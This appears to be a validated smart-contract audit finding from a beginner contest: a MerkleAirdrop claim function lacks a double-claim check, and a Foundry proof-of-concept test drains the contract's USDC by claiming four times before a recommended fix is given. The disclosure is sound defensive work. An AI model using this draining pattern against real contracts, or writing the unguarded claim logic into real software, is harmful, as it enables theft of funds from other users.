Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1]: Single verified user can withdraw multiple times, emptying the contract's USDC balance

Summary

The contract is supposed to provide 25 USDC to each of the four addresses listed. However, any of these addresses can call the MerkleAirdrop::claim function multiple times, withdrawing the whole USDC balance of the contract.

Vulnerability Details

Given that the address has a sufficient amount of ETH to cover the fees, it can call the MerkleAirdrop::claim function repeatedly and withdraw all the available balance of USDC. Other users will then be unable to withdraw their reward.

// @audit: PoC that one user can claim the reward multiple times
function testUserCanClaimMultipleTimes() public {
uint256 startingCollectorBalance = token.balanceOf(collectorOne);
uint256 startingContractBalance = token.balanceOf(address(airdrop));
uint256 fourTimesFee = airdrop.getFee() * 4;
vm.deal(collectorOne, fourTimesFee);
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endCollectorBalance = token.balanceOf(collectorOne);
uint256 endContractBalance = token.balanceOf(address(airdrop));
assertEq(startingContractBalance, endCollectorBalance);
assertEq(endContractBalance, startingCollectorBalance);
assertEq(endContractBalance, 0);
}

Impact

The remaining users who have correct proofs will be unable to withdraw their rewards as the USDC balance of the contract will be zero.

Tools Used

Unit testing, static analysis

Recommendations

Recommended adding the following checks to ensure one address does not withdraw twice. Add the following error, mapping and if statement to the MerkleAirdrop::claim function. This will track what addresses claimed their reward and prohibit them from double-claiming it.

+ error MerkleAirdrop__RewardWasAlreadyClaimed();
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
+ mapping(address => bool) internal s_rewardClaimed;
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ if (s_rewardClaimed[account]) {
+ revert MerkleAirdrop__RewardWasAlreadyClaimed();
+ }
+ s_rewardClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.